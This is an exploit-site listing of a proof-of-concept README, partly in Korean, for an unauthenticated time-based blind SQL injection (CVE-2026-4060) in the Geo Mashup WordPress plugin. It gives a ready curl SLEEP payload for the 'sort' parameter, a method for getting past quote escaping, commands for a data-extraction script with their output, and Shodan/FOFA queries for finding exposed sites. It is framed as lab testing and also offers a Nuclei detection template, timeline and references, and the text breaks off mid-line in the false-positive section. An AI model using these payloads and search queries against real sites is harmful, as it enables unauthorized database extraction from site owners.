Exploit for CVE-2026-4060

Name: Exploit for CVE-2026-4060
Rating: 5 (83 reviews)
2026-05-14 | CVSS 7.5
## https://sploitus.com/exploit?id=EBC57F95-FCBC-5E72-B5F4-3C5722E51463
# CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Unauthenticated SQL Injection PoC

![Severity](https://img.shields.io/badge/Severity-High-red)
![CVSS](https://img.shields.io/badge/CVSS-7.5-orange)
![Type](https://img.shields.io/badge/Type-SQLi%20(Time--Based%20Blind)-blue)
![Status](https://img.shields.io/badge/Status-Patched%20in%201.13.19-green)

> **Unauthenticated** attackers can inject arbitrary SQL into the `ORDER BY` clause via the `sort` parameter of the Geo Mashup `render-map` endpoint, enabling time-based blind extraction of sensitive database information.

---

## Table of Contents

- [Vulnerability Overview](#vulnerability-overview)
- [테스트 환경](#테스트-환경-test-environment)
- [테스트 실행 방법](#테스트-실행-방법-how-to-run)
- [테스트 결과](#테스트-결과-test-results)
- [Mitigation](#mitigation)
- [Detection](#detection)
- [Timeline](#timeline)
- [References](#references)

---

## Vulnerability Overview

| Field | Detail |
|-------|--------|
| **CVE** | CVE-2026-4060 |
| **Plugin** | [Geo Mashup](https://wordpress.org/plugins/geo-mashup/) by cyberhobo |
| **Affected** | ≤ 1.13.18 |
| **Fixed in** | 1.13.19 |
| **CVSS v3.1** | 7.5 (High) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` |
| **CWE** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) — Improper Neutralization of Special Elements in SQL |
| **Auth required** | None (Unauthenticated) |

### Technical Detail

The `sort` parameter accepted by the `render-map` endpoint is passed directly into a `$wpdb->get_results()` call without sanitization:

```php
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
```

Because `$sort` is interpolated as-is, an attacker can inject a subquery into the `ORDER BY` clause. WordPress's `wpdb` escapes single quotes, so the PoC uses `ORD(SUBSTRING(...))` with numeric comparisons to bypass this restriction and perform time-based blind extraction.

**Vulnerable endpoint:**
```
GET /?geo_mashup_content=render-map&map_content=global&sort=
```

---

## 테스트 환경 (Test Environment)

| Component | Version |
|-----------|---------|
| OS | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | **1.13.18** (vulnerable) |
| Python | 3.x (for `poc.py`) |
| Nuclei | v3.8.0 |

### Lab Architecture

```
┌─────────────────────────────────┐
│  Host (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐ │
│  │ WordPress   │  │ MariaDB  │ │
│  │ 6.8.2+PHP82 │──│  11.4   │ │
│  │ :80         │  │ :3306   │ │
│  └─────────────┘  └──────────┘ │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘
```

Geo Mashup 1.13.18 설치 확인:

![Geo Mashup 1.13.18 active in WordPress admin](screenshots/01_plugin_installed.png)

---

## 테스트 실행 방법 (How to Run)

### 1. 취약 환경 구성

```bash
git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
```

`setup.sh`가 수행하는 작업:
- WordPress 6.8.2 + MariaDB 11.4 컨테이너 실행
- Geo Mashup **1.13.18** (취약 버전) 자동 설치 및 활성화
- 지도 엔드포인트가 정상 응답하도록 geo-tagged 포스트 생성

완료 후 접속:
- **Site:** `http://localhost:8080`
- **Admin:** `http://localhost:8080/wp-admin` (ID: `admin` / PW: `admin`)

### 2. 취약점 확인 (SLEEP Injection)

```bash
time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
```

응답이 ~8초 지연되면 `ORDER BY` 절 SQL Injection 확인.

### 3. 데이터 추출 (PoC)

```bash
# 기본 실행 (결과만 출력)
python3 poc.py --url http://localhost:8080

# verbose 모드 (payload → 응답 시간 → 추출 문자 과정 출력)
python3 poc.py --url http://localhost:8080 --verbose

# SQLi 존재 여부만 빠르게 확인
python3 poc.py --url http://localhost:8080 --confirm-only
```

### 4. Nuclei 탐지 템플릿 실행

```bash
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
```

### 5. 환경 종료

```bash
docker compose down -v
```

---

## 테스트 결과 (Test Results)

### True Positive (TP) — 취약한 대상

#### TP-1: ORDER BY SLEEP(8) 주입 성공

`sort` 파라미터에 `SLEEP(8)` 서브쿼리를 주입하여 응답이 8초 지연됨을 확인.

```bash
time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
```

![SLEEP(8) via ORDER BY — 8.05s response](screenshots/02_sleep_proof.png)

#### TP-2: 데이터 추출 (verbose 모드)

`ORD(SUBSTRING(...))` 기반으로 한 글자씩 DB 정보를 추출하는 전 과정.  
payload 전송 → 응답 시간 측정 → SLEEP 발생 시 해당 문자 확정.

```bash
python3 poc.py --url http://localhost:8080 --verbose
```

![poc.py verbose — payload, timing, extracted chars](screenshots/04_poc_extraction.png)

**추출된 정보:**

| Query | Result |
|-------|--------|
| `VERSION()` | `11.4.10-MariaDB` |
| `DATABASE()` | `wordpress` |
| `USER()` | `wordpress@172.23.0.3` |

#### TP-3: Nuclei 템플릿 탐지

```
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.
```

---

### False Positive (FP) — 비취약 대상

Nuclei 템플릿은 두 단계 flow로 FP를 방지합니다.

#### FP-1: Geo Mashup 미설치

Step 1에서 `readme.txt` 가 404를 반환하면 즉시 종료. SQL payload는 전송되지 않음.

```
Scan completed in 62ms. 0 matches found.   ✅
```

#### FP-2: 패치된 버전 (≥ 1.13.19)

`readme.txt` 버전 확인:

![readme.txt showing Stable tag: 1.13.18](screenshots/03_plugin_version.png)

`compare_versions(version, '= 8s
```

**Shodan / FOFA:**

```
Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"
```

---

## Timeline

| Date | Event |
|------|-------|
| 2026-04 | 취약점 발견 |
| 2026-04 | 플러그인 개발자 보고 |
| 2026-05 | Geo Mashup 1.13.19 패치 릴리즈 |
| 2026-05-14 | CVE 할당 및 공개 |

---

## References

- [NVD — CVE-2026-4060](https://nvd.nist.gov/vuln/detail/CVE-2026-4060)
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/id/2fa5ae9a-532c-40f9-b70a-217f0f9cd473?source=cve)
- [Plugin Changeset (fix)](https://plugins.trac.wordpress.org/changeset/3503627/)
- [CWE-89](https://cwe.mitre.org/data/definitions/89.html)

---

## Disclaimer

This repository is for **educational and authorized security testing purposes only**.  
Do not use against systems you do not own or have explicit written permission to test.  
The author is not responsible for any misuse of this material.